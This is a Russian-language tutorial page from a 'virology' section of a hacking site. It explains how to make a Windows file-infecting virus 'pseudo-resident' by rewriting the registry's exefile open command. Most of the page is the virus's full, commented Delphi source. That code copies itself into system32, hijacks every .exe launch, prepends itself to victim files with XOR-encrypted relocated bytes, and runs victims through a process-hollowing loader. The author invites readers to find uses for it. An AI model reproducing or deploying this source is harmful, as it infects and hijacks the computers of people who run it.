Четверг, 21.11.2024, 21:46 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Вы к нам ещё зайдёте?
Всего ответов: 429

Главная » Статьи » Delphi » Вирусология

Псевдорезидентное заражение в HLL вирусах
В целом, заражение запускаемых файлов не редко, а напротив, очень даже часто встречалось в DOS, особенно .COM вирусах, написанных на асме – и такие вирусы исконно назывались резидентными, т.к. они сидели в памяти и ждали своёго часа что бы напакостить. Об этих вирусах мы поговорим в уроках о вирусах на Ассемблере. Что же такое псевдорезидентность в WINDOWS? И как её реализовать? Суть псевдорезидентности кроется в том, что в этом случае ни какого вируса в памяти просто нет. А как же тогда происходит «отлов» наших «кроликов»? Да всё просто. В WINDOWS имеется раздел реестра - HKEY_CLASSES_ROOT – в нем система хранит информацию о том как поступать и понимать со всеми зарегестрироваными расширениями системы. Дело в том что и расширение .exe то же не обошла эта участь и относится это расширение к типу exefile. Рассмотрим ключ реестра: HKEY_CLASSES_ROOT\exefile\shell\open\command в частности его параметр по умолчанию. Что же там такого интересного? А вот что: "%1" %*. Это означает что если вы кликаете по .exe то он запускается с по пути своего расположения на диске и ему передаются все параметры командной строки. В общем ни чего особенного. А что если мы етот параметр изменим вот так: c:\windows\system32\cmd.exe /c %1 %* , что из этого получится? Всё просто, все программы по-прежнему будут запускаться, но уже с не сами, а с помощью файла CMD.EXE – командная строка WINDOWS. Т.е. сначала запускается командная строка, а затем она запускает программу и передаёт ей все параметры командной строки (масло масленое – ну и ладна). Как можно использовать этот забавный прикол, я думаю уже многие догадались, поэтому переходим к рассмотрению общего алгоритма действия псевдорезидентного вируса:
1)Запуск
2)Проверка наличия копии в системе – если нет копии, то копируемся в систему и изменяем ключ в реестре размещая себя, как программу для запуска всех exefile. Устанавливаем стартовое слово. Ключ выглядит так: путь_копирования_вируса СТАРТОВОЕ_СЛОВО %1 %* .
3)Проверяем, запущены мы из жертвы или в свободном виде – если из жертвы извлекаем жертву и запускаем (это касается HLLP и от части, HLLC.)
4)Смотрим командную строку к себе – если первый параметр равен стартовому слову, то заражаем файл путь к которому определяется вторым параметром строки.
5)Запускаем файл путь к которому передан вторым параметром командной строки и передаем ему параметры начиная с третьего (если они есть).
6)Завершаем работу.

Стартовое слово – это наверно вас немного запутало? Оно необходимо что бы вирус знал, что запущен именно для заражения, а не первый раз. Это слово может быть любым на ваш вкус, только не должно содержать пробелов.
В этом уроке я решил отказаться от создания исходников на Turbo Pascal поэтому привожу сорец этого вируса только на языке Delphi, причём исходник будет для компиляции без RTL. Размер получившегося зверя составил, после упаковки FSG2 – 2733 байта - вроде бы совсем немного. Все необходимые типы перенесены и отлажено. Так же в этом исходнике вы найдёте процедуру MemoryExecute – которая, до этого мной не приводилась. Эта замечательная процедура осуществляет запуск жертвы непосредственно в оперативную память, а это уже совершенно новый уровень. Исходный текст полностью откоментирован и пояснён, поэтому предлагаю вам разобраться с ним самостоятельно.
Вот этот исходник:
{$M 2500000}
Program virkill1;
  //Далее идут константы применяемые в коде
const
  VirSize = 2733;//Размер вируса после пака, т.е. его рабочий размер
  MaxVictim = 1000000;//Максимальный размер жертвы
  K = 8; //Количество элементов сигнатуры

  KERNEL32 = 'kernel32.dll'; { }
  ntdll = 'ntdll.dll'; { Импорт }
  advapi32 = 'advapi32.dll'; { }

  CopyRun = 'win32run.exe';//Имя системной копии вируса

  signature : array //Положение байтов сигнатуры..
  [0..K-1] of INTEGER = //Вы можете сами эти положения
  ( //и их количество установить
  $560,$456,$678,$705,
  $5FF,$4FD,$60E,$735
  );
  FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут
  FILE_SHARE_WRITE = $00000002;//Запись в файл
  FILE_SHARE_READ = $00000001;//Чтение из файла
  MAX_PATH = 260;//Максимальная длина пути
  GENERIC_READ = INTEGER($80000000);//Открыть для чтения
  GENERIC_WRITE = $40000000;//Открыть для записи
  OPEN_EXISTING = 3;//Открытие для выполнения
  FILE_END = 2;//Счет с конца файла
  FILE_BEGIN = 0;//Счет с начала файла
  MEM_RESERVE = $2000;//Выделение памяти
  PAGE_EXECUTE_READ = $20;//Чтение и выполнение страници
  PAGE_EXECUTE = $10;//Выполнение страници
  CONTEXT_INTEGER = ($10000 or $00000002);
  PAGE_EXECUTE_READWRITE = $40;//Выполнение, чтение и запись страници
  MEM_COMMIT = $1000;//Передача в память
  PAGE_READWRITE = 4;//Чтение и запись страници
  CREATE_SUSPENDED = $00000004;//Сощдание файла прервано
  PAGE_NOACCESS = 1;//Старница не найдена
  PAGE_READONLY = 2;//Страница доступна только для чтения

  //Типы применяемые в вирусе. Я не буду описывать поля записей,
  //т.к. это очень нудно и не нужно, я становлюсь на самом важном
type
  PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу
  PVOID = Pointer;
  NTSTATUS = LongInt;
  DWORD = integer;
  ULONG = integer;
  BOOL = BOOLEAN;
  HANDLE = integer;
  ULONG_PTR = Cardinal;
  PByte = ^Byte;
  THandle = integer;
  SIZE_T = Cardinal;
  HINST = Integer;
  LPVOID = Pointer;
  UINT = INTEGER;
  HKey = INTEGER;

  TCharArray = Array[0..255] Of Char;
  TCrypterInfo = Record
  DropFiles : Boolean;
  DropPath : TCharArray;
  End;

  TISHMisc = packed record
  case Integer of
  0: (PhysicalAddress: DWORD);
  1: (VirtualSize: DWORD);
  end;

  PImageSectionHeader = ^TImageSectionHeader;

  TImageSectionHeader = packed record //Запись секции
  Name : packed array[0..7] of Byte;
  Misc : TISHMisc;
  VirtualAddress : DWORD;
  SizeOfRawData : DWORD;
  PointerToRawData : DWORD;
  PointerToRelocations : DWORD;
  PointerToLinenumbers : DWORD;
  NumberOfRelocations : Word;
  NumberOfLinenumbers : Word;
  Characteristics : DWORD;
  end;

  TImageFileHeader = packed record //Основная часть NT заголовка
  Machine : Word;
  NumberOfSections : Word;
  TimeDateStamp : DWORD;
  PointerToSymbolTable : DWORD;
  NumberOfSymbols : DWORD;
  SizeOfOptionalHeader : Word;
  Characteristics : Word;
  end;

  TImageDataDirectory = record //Размещение данных секции
  VirtualAddress: DWORD;
  Size: DWORD;
  end;

  TImageOptionalHeader = packed record //Дополнительная часть NT заголовка
  Magic : Word;
  MajorLinkerVersion : Byte;
  MinorLinkerVersion : Byte;
  SizeOfCode : DWORD;
  SizeOfInitializedData : DWORD;
  SizeOfUninitializedData : DWORD;
  AddressOfEntryPoint : DWORD;
  BaseOfCode : DWORD;
  BaseOfData : DWORD;
  ImageBase : DWORD;
  SectionAlignment : DWORD;
  FileAlignment : DWORD;
  MajorOperatingSystemVersion : Word;
  MinorOperatingSystemVersion : Word;
  MajorImageVersion : Word;
  MinorImageVersion : Word;
  MajorSubsystemVersion : Word;
  MinorSubsystemVersion : Word;
  Win32VersionValue : DWORD;
  SizeOfImage : DWORD;
  SizeOfHeaders : DWORD;
  CheckSum : DWORD;
  Subsystem : Word;
  DllCharacteristics : Word;
  SizeOfStackReserve : DWORD;
  SizeOfStackCommit : DWORD;
  SizeOfHeapReserve : DWORD;
  SizeOfHeapCommit : DWORD;
  LoaderFlags : DWORD;
  NumberOfRvaAndSizes : DWORD;
  DataDirectory : packed array[0..15] of TImageDataDirectory;
  end;

  PImageNtHeaders = ^TImageNtHeaders;

  TImageNtHeaders = packed record//NT заголовок
  Signature : DWORD;//Сигнатура PE
  FileHeader : TImageFileHeader;//Основная часть NT заголовка
  OptionalHeader : TImageOptionalHeader;//Дополнительная часть NT заголовка
  end;

  PImageSectionHeaders = ^TImageSectionHeaders;

  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;

  TPROCESSINFORMATION = record //Информация о процессе
  hProcess : THandle;
  hThread : THandle;
  dwProcessId : DWORD;
  dwThreadId : DWORD;
  end;

  TSTARTUPINFO = record //Стартовая информация процесса
  cb: DWORD;
  lpReserved : Pointer;
  lpDesktop : Pointer;
  lpTitle : Pointer;
  dwX : DWORD;
  dwY : DWORD;
  dwXSize : DWORD;
  dwYSize : DWORD;
  dwXCountChars : DWORD;
  dwYCountChars : DWORD;
  dwFillAttribute : DWORD;
  dwFlags : DWORD;
  wShowWindow : Word;
  cbReserved2 : Word;
  lpReserved2 : PByte;
  hStdInput : THandle;
  hStdOutput : THandle;
  hStdError : THandle;
  end;

  TFloatingSaveArea = record //плавающее поле
  ControlWord : DWORD;
  StatusWord : DWORD;
  TagWord : DWORD;
  ErrorOffset : DWORD;
  ErrorSelector : DWORD;
  DataOffset : DWORD;
  DataSelector : DWORD;
  RegisterArea : array[0..79] of Byte;
  Cr0NpxState : DWORD;
  end;

  TCONTEXT = record//Регистры
  ContextFlags: DWORD;
  Dr0 : DWORD;
  Dr1 : DWORD;
  Dr2 : DWORD;
  Dr3 : DWORD;
  Dr6 : DWORD;
  Dr7 : DWORD;
  FloatSave : TFloatingSaveArea;
  SegGs : DWORD;
  SegFs : DWORD;
  SegEs : DWORD;
  SegDs : DWORD;
  Edi : DWORD;
  Esi : DWORD;
  Ebx : DWORD;
  Edx : DWORD;
  Ecx : DWORD;
  Eax : DWORD;
  Ebp : DWORD;
  Eip : DWORD;
  SegCs : DWORD;
  EFlags : DWORD;
  Esp : DWORD;
  SegSs : DWORD;
  end;

  //Не применяется, необходим для импорта некоторых функций
  PSecurityAttributes = ^TSecurityAttributes;

  //Не применяется, необходим для импорта некоторых функций
  TSecurityAttributes = record
  nLength : DWORD;
  lpSecurityDescriptor : Pointer;
  bInheritHandle : BOOL;
  end;

  PImageDosHeader = ^TImageDosHeader;

  TImageDosHeader = packed record//DOS заголовок
  e_magic : Word;
  e_cblp : Word;
  e_cp : Word;
  e_crlc : Word;
  e_cparhdr : Word;
  e_minalloc : Word;
  e_maxalloc : Word;
  e_ss : Word;
  e_sp : Word;
  e_csum : Word;
  e_ip : Word;
  e_cs : Word;
  e_lfarlc : Word;
  e_ovno : Word;
  e_res : array [0..3] of Word;
  e_oemid : Word;
  e_oeminfo : Word;
  e_res2 : array [0..9] of Word;
  _lfanew : LongInt;
  end;


  //Не применяется, необходим для импорта некоторых функций
  POverlapped = ^TOverlapped;
  TOverlapped = record
  Internal: Cardinal;
  InternalHigh: Cardinal;
  Offset: Cardinal;
  OffsetHigh: Cardinal;
  hEvent: Cardinal;
  end;

function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
// Копиpует lpString2 (включая пустой символ) в lpString1.
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
//Сцепляет lpString1 с lpString2.
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA';
//Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile';
//Запись в файл
function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize';
//Определение размера файла
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle';
//Закрытие хендла объекта открытого CreateFile
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer';
//Установка указателя записи/чтения в заданную позицию
function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile';
//Чтение из файла
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function GetCommandLine: PChar; stdcall; external kernel32 name 'GetCommandLineA';
//Получает полную командную строку к файлу
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет пpикладную задачу, указанную паpаметpом CmdLine
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
//Выход из процесса с заданным кодом выхода
function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; external kernel32 name 'CreateProcessA';
//Открытие/создание процесса
function SetThreadContext(hThread: THandle; const lpContext: TContext): BOOL; stdcall; external kernel32 name 'SetThreadContext';
//Присвоение контекста потока
function WriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall; external kernel32 name 'WriteProcessMemory';
//Запись в процесс
function VirtualProtectEx(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flNewProtect: DWORD; var lpflOldProtect: DWORD): BOOL; stdcall; external kernel32 name 'VirtualProtectEx';
//Защита памяти
function ResumeThread(hThread: THandle): DWORD; stdcall; external kernel32 name 'ResumeThread';
//Завершение работы с потоком
function ZwUnmapViewOfSection(ProcessHandle: HANDLE; BaseAddress: PVOID): NTSTATUS; stdcall; external ntdll name 'ZwUnmapViewOfSection';
//Вид невыгруженой секции
function GetThreadContext(hThread: THandle; var lpContext: TContext): BOOL; stdcall; external kernel32 name 'GetThreadContext';
//Получение контекста потока
function ReadProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesRead: DWORD): BOOL; stdcall; external kernel32 name 'ReadProcessMemory';
//Чтение из процесса
function VirtualAllocEx(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flAllocationType: DWORD; flProtect: DWORD): LPVOID; stdcall; external kernel32 name 'VirtualAllocEx';
//Выделение памяти
function TerminateProcess(hProcess: THandle; uExitCode: UINT): BOOL; stdcall; external kernel32 name 'TerminateProcess';
//Убийство процесса
function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA';
//Определение дляны строки
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external kernel32 name 'GetWindowsDirectoryA';
//Функция получает путь к папке винды
function RegCreateKey(hKey: HKEY; lpSubKey: PChar; var phkResult: HKEY): Longint; stdcall; external advapi32 name 'RegCreateKeyA';
//Открыкие ключа
function RegSetValueEx(hKey: HKEY; lpValueName: PChar; Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external advapi32 name 'RegSetValueExA';
//Установка значения ключа
function RegCloseKey(hKey: HKEY): Longint; stdcall; external advapi32 name 'RegCloseKey';
//Закрытие ключа

var
  METKA : array [0..K-1] of char;//Массив хранящий в рабочую сессию сигнатуру
  Self : boolean; //Переменная равна true если вирус запущен в чистом виде

(*Упрощенная до необходимого Delphi функция FillChar*)
procedure FChar(var Dest; count: Integer; Value: integer);
asm
  PUSH EDI
  MOV EDI,EAX
  MOV CH,CL
  MOV EAX,ECX
  SHL EAX,16
  MOV AX,CX
  MOV ECX,EDX
  SAR ECX,2
  JS @@exit
  REP STOSD
  MOV ECX,EDX
  AND ECX,3
  REP STOSB
@@exit:
  POP EDI
end;

(*Получение образа первой секции заголовка*)
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
  Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
  NTHeader.FileHeader.SizeOfOptionalHeader);
End;

(*Защита секций*)
Function Protect(Characteristics: ULONG): ULONG;
Const
  Mapping :Array[0..7] Of ULONG = (
  PAGE_NOACCESS,
  PAGE_EXECUTE,
  PAGE_READONLY,
  PAGE_EXECUTE_READ,
  PAGE_READWRITE,
  PAGE_EXECUTE_READWRITE,
  PAGE_READWRITE,
  PAGE_EXECUTE_READWRITE );
Begin
  Result := Mapping[ Characteristics SHR 29 ];
End;

(*
Данная процедура осуществляет запуск
программы в память. Ей необходимо дать
указатель на облать памяти где находятся
байты ехе файла, имя процесса, в нашем
случае текущее имя и командню строку..
*)
procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
Var
  BaseAddress :Pointer;
  I :ULONG;
  Success :Boolean;
  NTHeaders :PImageNTHeaders;
  Sections :PImageSectionHeaders;
  StartupInfo :TStartupInfo;
  OldProtect :ULONG;
  BytesRead :DWORD;
  ProcessInfo :TProcessInformation;
  BytesWritten :DWORD;
  Context :TContext;
Begin
  FChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FChar(StartupInfo, SizeOf(TStartupInfo), 0);
  //Выделение памяти под переменный
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.wShowWindow := Word(false);
  //Предварительное назначение полей записей
  If (CreateProcess(ProcessName, Parameters, NIL, NIL,
  False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  //Создаем новый процесс, с заданными параметрами, если создание прошло успешно то..
  Begin
  Success := True;//Успешное выполнение операции..

  Try
  Context.ContextFlags := CONTEXT_INTEGER;
  If (GetThreadContext(ProcessInfo.hThread, Context) And
  (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
  @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
  (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
  (Assigned(Buffer))) Then
  //Если процесс успешно открыт для записи то..
  Begin
  NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
  //Получаем NT заголовок
  BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
  Pointer(NTHeaders.OptionalHeader.ImageBase),
  NTHeaders.OptionalHeader.SizeOfImage,
  MEM_RESERVE or MEM_COMMIT,
  PAGE_READWRITE);
  //Выделяем память под заголовок и получаем адрес начального участка..
  If (Assigned(BaseAddress)) And
  (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
  NTHeaders.OptionalHeader.SizeOfHeaders,
  BytesWritten)) Then
  //Если процесс доступен для записи и записан NT заголовок то..
  Begin
  Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
  //Получаем секции заголовка
  For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
  //По очереди пишем все секции
  If (WriteProcessMemory(ProcessInfo.hProcess,
  Pointer(Cardinal(BaseAddress) +
  Sections[I].VirtualAddress),
  Pointer(Cardinal(Buffer) +
  Sections[I].PointerToRawData),
  Sections[I].SizeOfRawData, BytesWritten)) Then
  VirtualProtectEx(ProcessInfo.hProcess,
  Pointer(Cardinal(BaseAddress) +
  Sections[I].VirtualAddress),
  Sections[I].Misc.VirtualSize,
  Protect(Sections[I].Characteristics),
  OldProtect);

  If (WriteProcessMemory(ProcessInfo.hProcess,
  Pointer(Context.Ebx + 8), @BaseAddress,
  SizeOf(BaseAddress), BytesWritten)) Then

  //Если удачно записано то..
  Begin
  Context.Eax := ULONG(BaseAddress) +
  NTHeaders.OptionalHeader.AddressOfEntryPoint;
  Success := SetThreadContext(ProcessInfo.hThread, Context);
  //Если успешно присвоили контекст потока..
  End;
  End;
  End;
  Finally
  If (Not Success) Then//Если на какой-то стадии операция несовершена успешно
  TerminateProcess(ProcessInfo.hProcess, 0)//Убиваем процесс
  Else
  ResumeThread(ProcessInfo.hThread);//Закрываем поток
  End;
  End;
End; 


(*
Эта функция считывает из файла запуска
сигнатуру, которая будет использоваться в
рабочей сессии для проверки зараженности
потенциальных жертв. Так же функция
возвращает логическое состояние которое
определяет находит вирус в свободном
состоянии или сидит в жертве.
*)
Procedure SetParam;
var
  pch : pchar;
  F : INTEGER;
  i : INTEGER;
  B : INTEGER;
begin
  Self:=false;//По умолчанию вирус сидит в жертве
  GetModuleFileName(0, pch, Max_Path);//Опеделяем путь к себе
  F:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем себя для чтения
  for i:=0 to K-1 do//Считываем сигнатуру
  begin
  SetFilePointer(F, signature[i], nil, FILE_BEGIN);//Переходим в позицию элемента сигнатуры
  ReadFile(F, METKA[i], 1, B, nil);//Читаем элемент сигнатуры
  end;
  if GetFileSize(F,nil)=VirSize then Self:=true;
  //Если размер себя равен VirSize, значит вирус в свободном виде
  CloseHandle(F);//Закрываем себя
end;

(*
Этой функции даётся путь к потенциальной
жертве, она проверяет наличие сигнатуры
и если она есть значит программа уже
заражена и наоборот. В зависимости от
этого функция возвращает логический
параметр: true - чисто, false - заражено.
*)
function Check(Path:PChar):boolean;
var
  Buf : array [0..K-1] of char;
  //Буфер чтения сигнатуры из жертвы
  f : integer;
  B : INTEGER;
  i : INTEGER;
begin
  F:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем жертву для чтения
  for i:=0 to K-1 do
  //Читам сигнатуру жертвы и сравиваем со своей
  begin
  if (GetFileSize(F,nil)>MaxVictim) or (GetFileSize(F,nil)<VirSize) then
  begin
  Result:=false;
  Exit;
  end;
  SetFilePointer(F, signature[i], nil, FILE_BEGIN);
  //Переход на позицию элемента сигнатуры
  ReadFile(F, Buf[i], 1, B, nil);
  //Чтение элемента сигнатуры
  if Buf[i]<>METKA[i] then
  //Если не равно то..
  begin
  Result:=true;
  break;
  end
  else Result:=false;
  end;
  CloseHandle(F);
  //Закрываем файл
end;

(*
При работе вируса имеется необходимость
переносах данных с одного места в другое
Функции даются следующие параметры:
FromF, ToF - пути к файлам от куда
и куда переносить данные; FromSeek,ToSeek-
позиции чтения файлов; FromPos, ToPos:
позиция начала чтения DataCount-количество
переносимых байт; Crypt-шифрование.Функция
при успешной операции возвращает true при
наличии ошибки на любой стадии false, т.о.
функция осуществляет контроль запущености.
Перенос данных происходит за один буфер,
что позволяет получить макс. скорость.
*)
function CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos,
ToPos, DataCount : integer; Crypt : boolean) : boolean;
var
  buf : array [1..MaxVictim] of byte;
  f1 : THandle;
  f2 : THandle;
  N : INTEGER;
  i : INTEGER;
begin
  result:=false;//По дефаулту ошибка
  f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открытие файла-источника
  if f1=-1 then Exit;//Если ошибка - выход
  SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
  //Если файл больше или меньше необходимого - выход
  ReadFile(f1, Buf, DataCount, N, nil);//Читаем в буфер нужное количество байт
  CloseHandle(f1);//Закрываем файл-источник
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, 3, FILE_ATTRIBUTE_NORMAL, 1);
  //Открытие существующего файла
  if f2=-1 then//Если ошибка то..
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, 1, FILE_ATTRIBUTE_NORMAL, 1);
  //Попытка создать новый файл (необходимо для самокопирования)
  if f2=-1 then exit;//Если ошибка - выход
  SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позицию записи
  if Crypt then for i:=1 to VirSize do buf[i]:=buf[i] xor 123;
  //Если выброно шифрование то шифруем/расшифровываем
  WriteFile(f2, Buf, DataCount, N, nil);
  //Запись в файл зашифрованной/расшифрованной информации
  CloseHandle(f2);//Закрытие файла
  result:=true;//Если дошли до сюда значит всё успешно сделано...
end;

(*
Функция проверяет наличие файла. При
наличии возвращет true и наоборот..
*)
function FileExists(path:PChar):boolean;
var
  i : integer;
begin
  i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем существующий файл для чтения
  if i=-1 //если -1 значит ошибка, значит файла не
  then Result:=false
  else Result:=true;//файл есть
end;


(*
Данная процедура осуществляет запуск из
себя в память жертвы, по окончанию цикла
поиска жертв. В том случае если вирус
находится не в жертве, эта процедура
завершает работу вируса ни чего не
производя. Так же эта процедура передает
жертве командную строку, с которую вирус
получил при запуске.
*)
Procedure InRun;
var
  i : integer;
  f : integer;
  p : PChar;
  N : INTEGER;
  fs : integer;
  pch : PathBuf;
  buf : array [1..MaxVictim] of byte;
begin
  if Self then ExitProcess(0);//Если не в жертве - выход из проги
  GetModuleFileName(0,pch,MAX_PATH);//Определяем путь к себе
  p:=GetCommandLine;//Определяем полную командную строку
  for i:=1 to MAX_PATH do
  if p[i]=#34 then break;
  //Вычисляем конец пулт к себе, т.е. далее
  //идут параметры командной строки с первого и далее
  f:=CreateFile(@pch,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открываем себя для чтения
  fs:=GetFileSize(f,nil)-VirSize;//Вычисляем размер жертвы
  SetFilePointer(f, -VirSize, nil, FILE_END);
  //Переходим в конец файла к началу перенесенного
  //и зашифрованного при заражении фрагмента жертвы
  ReadFile(f, Buf, VirSize, N, nil);
  //Читаем фрагмент жертвы в первые Virsize байт буфера
  for i:=1 to VirSize do buf[i]:=buf[i] xor 123;
  //Расшифровываем фрагмент жертвы
  SetFilePointer(f, VirSize, nil, FILE_BEGIN);
  //Переходим на байт VirSize с начала
  ReadFile(f, Buf[VirSize+1], fs, N, nil);
  //Читаем оставшуюся часть программы в буфер
  CloseHandle(f);//Закрываем себя
  MemoryExecute(@Buf, @pch, @p[i+1]);
  //Вызываем процедуру запуска в память, передавая ей
  //указатель на буфер с данными, путь к себе и командную строку
  ExitProcess(0);//Выход из процесса
end;

(*
Эта процедура осуществляет заражение файла
путь к которому передаётся в параметре path.
*)
Procedure Infect(Path:PChar);
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к файлу
  CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,true);
  //Если копирование фрагмента из начала прошло успешно
  CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,false);
  //и копирование себя в начало с перезаписью прошло успешно то..
end;

(*
Эта процедура предназдначена для обеспечения
заражения каждого запущеннрго ехе-шника.
Суть в следующем - делается копия в систему,
изменения в реестре и каждый запуск юзером
лубого ехе, проходит через копию в системе.
*)
Procedure RunInfect;
const
  SubKey = 'exefile\shell\open\command';
  HKCR = integer($80000000);{HKEY_CLASSES_ROOT}
  REG_SZ = 1;
var
  i : integer;
  p : pchar;
  F1 : pathbuf;
  F2 : pathbuf;
  F3 : pathbuf;
  F4 : pathbuf;
  Key : integer;
begin
  GetModuleFileName(0,F4,MAX_PATH);//Путь к себе
  GetWindowsDirectory(F2,MAX_PATH);//Путь к винде, на тот случай если
  //она стоит не там где обычно, ибо пути юзера неисповедимы))
  LStrCpy(F1,#0);//Чистка и инициализация переменной
  LStrCat(F1,F2);//+строка
  LStrCat(F1,'\system32\');//+строка
  LStrCat(F1,CopyRun);//Создаём путь самокопирования
  if not FileExists(F1) then //Если нет своей копии в винде то..
  begin
  LStrCpy(F3,#0);//Чистка и инициализация переменной
  LStrCat(F3,F1);//+строка
  LStrCat(F3,' Letov %1 %*');//Получили командную строку добавления ключа
  RegCreateKey(HKCR, SubKey, key);//Открываем ключ
  RegSetValueEx(key, #0, 0, REG_SZ, @F3, LStrLen(F3) + 1);//Устанавливаем значение
  RegCloseKey(key); //Закрываем ключ
  //в реестр, которая сделает каждый запуск ехе через копию виря в системе
  CopyData(F4,F1,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,false);
  //если статус - заражение - самокопируемся в system32 с именем заданым константой CopyRun
  end;
  p:=GetCommandLine;//Определяем полную командную строку
  for i:=1 to MAX_PATH do
  if p[i]=#34 then break;//Ищем символ ", т.е. конец пути к себе
  if (p[i+2]='L')
  and (p[i+3]='e')
  and (p[i+4]='t')
  and (p[i+5]='o')
  and (p[i+6]='v') then //Если вирь получил командную строку Letov
  //(ДОБРАЯ ПАМЯТЬ ЕГОРУ ЛЕТОВУ)
  begin
  if Check(@p[i+8]) then Infect((@p[i+8]));
  //Если запускаемый юзером файл еще не заражен - исправляем эту оплошность))
  WinExec(@p[i+8],1);//Запускем файл (лети птичка!!!)
  ExitProcess(0);//Выход из процесса
  end
end;

begin
  SetParam;//Создаём сигнатуру, вычисляем self
  RunInfect;//Вызов заражения запускаемых
  if not Self then InRun;//Если не в чистом виде то запускаем жертву
{КОНЕЦ}
end.


Надеюсь исходник вам понравился и у вас появилися и у вас появились всякие перспективные мысли о его использовании. До встречи в следующих уроках.


xakep.su

Категория: Вирусология | Добавил: dolphin (06.05.2009)
Просмотров: 3494 | Комментарии: 1 | Рейтинг: 5.0/2

Всего комментариев: 1
avatar
1 XDXDXD • 18:06, 11.01.2012
ППЦ
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1165/8118
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 379
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

